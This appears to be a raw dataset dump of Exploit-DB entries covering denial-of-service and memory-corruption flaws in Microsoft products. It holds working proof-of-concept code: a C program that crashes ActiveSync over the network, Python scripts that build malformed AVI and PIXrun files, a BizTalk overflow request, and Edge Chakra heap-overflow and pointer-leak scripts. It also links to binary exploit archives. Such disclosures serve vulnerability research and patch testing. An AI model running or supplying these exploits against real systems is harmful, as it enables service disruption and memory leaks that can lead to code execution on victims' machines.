deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14295
Description: Microsoft - 'MSHTML.dll' CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak
Type: dos
Platform: windows
Date: 2010-07-09
Author: Ruben Santamarta

Exploit:
<html>
<!--http://reversemode.com/index.php?option=com_content&task=view&id=68&Itemid=1 -->
<!-- mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com -->

    <head>

        
        <title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com</title>

        <script type='text/javascript'>
						var i = 1; // counter
						
            function LeakOrDie() {
            	var t;
							t=setInterval("foo()",2000);
							t-=i;
							document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);
							i++;
            }
            
	          function foo()
	          {
	          	return;
	          }
            
            
        </script>

    </head>

    <body>

	
	<INPUT TYPE=button VALUE="Press to leak"  ONCLICK="LeakOrDie();">

	<br /><br />

		<div id='atun'>		</div>
    
   </body>

</html>
Exploit-DB #27476
Description: Microsoft .NET Framework SDK 1.0/1.1 - MSIL Tools Buffer Overflow
Type: dos
Platform: windows
Date: 2006-03-27
Author: Dinis Cruz

Exploit:
source: https://www.securityfocus.com/bid/17243/info

Microsoft .NET Framework SDK contains tools for assembling and disassembling MSIL files. These tools are prone to buffer-overflow vulnerabilities that attackers could exploit to cause a denial of service or potentially execute arbitrary code.

These issues were reported to affect the .NET Framework SDK version 1.1 SP1; earlier versions may also be affected. Version 2.0 may also be affected, but code execution does not seem possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27476.zip
Exploit-DB #22390
Description: Microsoft ActiveSync 3.5 - Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2003-03-20
Author: Andy Davis

Exploit:
// source: https://www.securityfocus.com/bid/7150/info

A problem with ActiveSync could make it possible for remote users to trigger a denial of service.

It has been reported that under some circumstances, the ActiveSync wcescomm service can be forced to crash. Due to improper handling of some requests, the wcescomm process becomes unstable. This can result in the process crashing, requiring a manual restart to resume service.

/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#define ASYNC_PORT 5679

int main(int argc, char **argv)
{

    unsigned char sendBuf[] =

/* Correct Header */

//"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4
bytes the crash occurs */
"\x6e\x00\x00\x00" /* Length of the rest of the packet */
"\x24\x00\x00\x00"
"\x03\x00\xa3\x2b"
"\x11\x0a\x00\x00"
"\x00\x00\x00\x00"
"\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */
"\x00\x00\x00\x00"
"\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */
"\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */
"\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */

/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */

"\x50\x00\x6f\x00\x63\x00\x6b\x00\x65\x00\x74\x00"
"\x5f\x00\x50\x00\x43\x00\x00\x00\x50\x00\x6f\x00\x63\x00\x6b\x00"
"\x65\x00\x74\x00\x50\x00\x43\x00\x00\x00\x43\x00\x6f\x00\x6d\x00"
"\x70\x00\x61\x00\x71\x00\x20\x00\x69\x00\x50\x00\x41\x00\x51\x00"
"\x20\x00\x48\x00\x33\x00\x38\x00\x39\x00\x30\x00\x00\x00";


    struct sockaddr_in servAddr;
    int s;

		 WSADATA WSAData;
		 		 if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
		 		 {
		 		 		 printf("WSAStartup failed.\n");
		 		 		 WSACleanup();
		 		 		 exit(1);
		 		 }


		 if (argc != 2)
		 {
		 		 printf ("\niPAQ_Crash\n");
		 		 printf ("\nUsage: %s <target IP address>\n",argv[0]);
		 		 exit (1);
		 }



    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(argv[1]);
    servAddr.sin_port = htons(ASYNC_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));

    printf("Sending packet...");

		 if ( send(s, sendBuf, 118, 0) == 0)
    {
		 		 printf("Error sending packet...quitting\n\n");
		 		 exit (0);
    }


    closesocket(s);
    return(0);

}
Exploit-DB #22553
Description: Microsoft BizTalk Server 2002 - HTTP Receiver Buffer Overflow
Type: dos
Platform: windows
Date: 2003-04-30
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/7469/info

Microsoft BizTalk Server 2002 contains a boundary condition error that could allow a buffer to be overrun. Successful exploitation could allow arbitrary code execution in the security context of the IIS Server hosting the application.

It is important to note that the HTTP Receiver is an optional component and is not installed by default.

POST /Site/biztalkhttpreceive.dll?XXXX...(more than 250 chars) HTTP/1.0
Exploit-DB #15112
Description: Microsoft Cinepak Codec CVDecompress - Heap Overflow (MS10-055)
Type: dos
Platform: windows
Date: 2010-09-26
Author: Abysssec

Exploit:
'''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/

'''

'''
  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow
  Version           : iccvid.dll XP SP3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : High
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2553
  MOAUB Number      : 
'''


import sys

def main():

	aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
	padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
	movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
	cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
	number_of_coded_strips = '\x00\x10' 
	cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
	idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
	
	avifile = open('poc.avi', 'wb+')
	avifile.write(aviHeaders)
	avifile.write(padding)
	avifile.write(movi_tag)
	avifile.write(cinepak_codec_data1)
	avifile.write(number_of_coded_strips)
	avifile.write(cinepak_codec_data2)
	avifile.write(idx_tag)
	
	avifile.close()
	print '[-] AVI file generated'
	
if __name__ == '__main__':
    main()
Exploit-DB #28822
Description: Microsoft Class Package Export Tool 5.0.2752 - 'Clspack.exe' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-10-16
Author: mmd_000

Exploit:
source: https://www.securityfocus.com/bid/20561/info

Microsoft Class Package Export Tool ('clspack.exe') is prone to a local buffer-overflow vulnerability because the application fails to properly size attacker-supplied data before copying it into an insuficiently sized memory buffer.

Exploiting this issue allows local attackers to execute arbitrary machine code in the context of the user running the application. Failed exploit attempts will likely crash the application, denying service to legitimate users.

C:\WINDOWS\clspack.exe a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazzzz
Exploit-DB #41659
Description: Microsoft Color Management Module 'icm32.dll' - 'icm32!LHCalc3toX_Di16_Do16_Lut8_G32' Out-of-Bounds Read (MS17-013)
Type: dos
Platform: windows
Date: 2017-03-20
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1054

We have encountered a crash in the Windows Color Management library (icm32.dll), in the icm32!LHCalc3toX_Di16_Do16_Lut8_G32 function, while trying to translate colors based on a malformed color profile file:

---
(61e4.8620): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000453 ecx=0922cafd edx=00000c63 esi=0038f7ac edi=0004be40
eip=6ac573e9 esp=0038f6ec ebp=0038f784 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
icm32!LHCalc3toX_Di16_Do16_Lut8_G32+0x32a:
6ac573e9 0fb61411        movzx   edx,byte ptr [ecx+edx]     ds:002b:0922d760=??
0:000> kb
ChildEBP RetAddr  Args to Child              
0038f784 6ac57844 0038f7ac 0038f[PII_REDACTED]0 icm32!LHCalc3toX_Di16_Do16_Lut8_G32+0x32a
0038f798 6ac4807d 0038f7ac 0038f840 76f611a9 icm32!LHCalc3to3_Di16_Do16_Lut8_G32+0x12
0038f8ac 6ac4204c 07b46e58 085f1000 000285c3 icm32!LHMatchColorsPrivate+0xef
0038f8c0 6c5ecab5 00000100 07de1000 000285c3 icm32!CMTranslateColors+0x44
0038f940 011c1963 4f42e2c8 07de1000 000285c3 mscms!TranslateColors+0x108
[...]
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled. In order to reproduce the problem with the provided samples, it is necessary to use a dedicated program which loads the file, creates a color transform and translates some colors.

Attached are two color profiles which trigger the crash at two different offsets within the icm32!LHCalc3toX_Di16_Do16_Lut8_G32 function.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41659.zip
Exploit-DB #32550
Description: Microsoft DebugDiag 1.0 - 'CrashHangExt.dll' ActiveX Control Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-10-30
Author: suN8Hclf

Exploit:
source: https://www.securityfocus.com/bid/31996/info

Microsoft DebugDiag 'CrashHangExt.dll' ActiveX control is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error.

A successful attack allows a remote attacker to crash the application using the ActiveX control (typically Internet Explorer), denying further service to legitimate users.

Microsoft DebugDiag 1.0 is vulnerable; other versions may also be affected. 

<body> <object classid='clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA' id='target' /> </object> <script language='vbscript'> arg1=[PII_REDACTED] target.GetEntryPointForThread arg1 </script> </body>
Exploit-DB #27050
Description: Microsoft DirectShow - Arbitrary Memory Overwrite (MS13-056)
Type: dos
Platform: windows
Date: 2013-07-23
Author: Andrés Gómez Ramírez

Exploit:
Introduction:

The Microsoft DirectShow application programming interface (API) is a media-streaming architecture for Microsoft Windows. Using DirectShow, your applications can perform high-quality video and audio playback or capture.  

Overview:

DirectShow in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, and Windows Server 2012 allows remote attackers to execute arbitrary code via a crafted GIF file, aka "DirectShow Arbitrary Memory Overwrite Vulnerability." 

Disclosure Timeline

2013-03-20 - Vulnerability reported to vendor
2013-07-09 - Coordinated public release of advisory

Details:  

Microsoft's DirectShow API is vulnerable to arbitrary memory overwrite when reading specially crafted GIF files. I have attached a GIF which triggers the vulnerability. To open it you can use Media Player Classic which utilizes DirectShow API to render GIF files. I tested it on Windows XP SP3 and Windows 7 SP1 Spanish version. The corresponding output from WindDbg in Windows XP is:



ModLoad:    72c90000 72c98000      C:\WINDOWS\system32\msacm32
drv
ModLoad:   77bb0000 77bc5000       C:\WINDOWS\system32\MSACM32.dll
ModLoad:   77ba0000 77ba7000       C:\WINDOWS\system32\midimap.dll
ModLoad:   73e60000 73e64000       C:\WINDOWS\system32\KsUser.dll
ModLoad:   60830000 608bc000       C:\WINDOWS\system32\qedit.dll
ModLoad:   75ed0000 75ef1000        C:\WINDOWS\system32\MSVFW32.dll

(bd0.bf4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=ff414141 ebx=fffffa60 ecx=00000000 edx=fea57028 esi=fea57028 edi=000000ef
eip=60864094 esp=0274ec0c ebp=0274ed3c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297

qedit!CImgGif::ReadImage+0x288:

60[PII_REDACTED]            mov     dword ptr [edx],eax  ds:0023:fea57028=????????


The issue occurs inside qedit.dll when trying to read GIF header data, in CImgGif::ReadImage+0x288. This writes in memory position edx=fea57028 the value eax=ff414141 both of them controlled by the user. eax=fea57028 can be modified in the GIF file in the position 0x32C corresponding to NW corner of frame at 0, 0 and eax=ff414141 can be modified in the position 0x307 corresponding to Global Color Table. With these two values controlled by an attacker, arbitrary code execution could be achieved, with the privileges of the user running the application (in this case MPC).
    
References:

    https://technet.microsoft.com/en-us/security/bulletin/ms13-056 
    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3174

Fix:

http://technet.microsoft.com/en-us/security/bulletin/ms13-056

PoC:
https://docs.google.com/file/d/0B48gNjWDSsFwSDQ1ZGZEb3ItSEU
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27050.zip
Exploit-DB #34355
Description: Microsoft DirectX 8/9 DirectPlay - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-07-18
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41794/info

Microsoft DirectX is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to interrupt existing sessions or crash or freeze the application that uses DirectX, resulting in denial-of-service conditions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34355.zip
Exploit-DB #47718
Description: Microsoft DirectX SDK 2010 - '.PIXrun' Denial Of Service (PoC)
Type: dos
Platform: windows
Date: 2019-11-27
Author: ZwX

Exploit:
#Exploit Title: Microsoft DirectX SDK 2010 - '.PIXrun' Denial Of Service (PoC)
#Exploit Author : ZwX
#Exploit Date: 2019-11-26
#Vendor Homepage : https://www.microsoft.com/
#Link Software : https://www.microsoft.com/en-us/download/details.aspx?id=681
#Tested on OS: Windows 7

Proof of Concept (PoC):
=======================

1.Download and install Microsoft DirectX SDK
2.Open the PIX for Windows tools 
2.Run the python operating script that will create a file (poc.PIXrun)
3.Run the software "File -> Open File -> Add the file (.PIXrun) "
4.PIX for Windows Crashed

#!/usr/bin/python

DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

poc = DoS
file = open("poc.PIXrun,"w")
file.write(poc)
file.close()

print "POC Created by ZwX"
Exploit-DB #40604
Description: Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)
Type: dos
Platform: windows
Date: 2016-10-20
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
	var n = parseInt(a[item]);
     if (n < 0){
		n = n + 0x100000000;
     }
	var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html>
Exploit-DB #40602
Description: Microsoft Edge - 'Array.map' Heap Overflow (MS16-119)
Type: dos
Platform: windows
Date: 2016-10-20
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=923

There is a heap overflow in Array.map in Chakra. In Js::JavascriptArray::MapHelper, if the array that is being mapped is a Proxy, ArraySpeciesCreate is used to create the array that the mapped values are copied into. They are then written to the array using DirectSetItemAt, even through there is no guarantee the array is a Var array. If it is actually an int array, it will be shorter than this function expects, causing a heap overflow. A minimal PoC is as follows:

var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x[PII_REDACTED]77;

}

var o = a.map.call(p, test);

A full PoC is attached.
-->

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
       alert("has " + name);
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x[PII_REDACTED]77;

}


var o = a.map.call(p, test);

var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>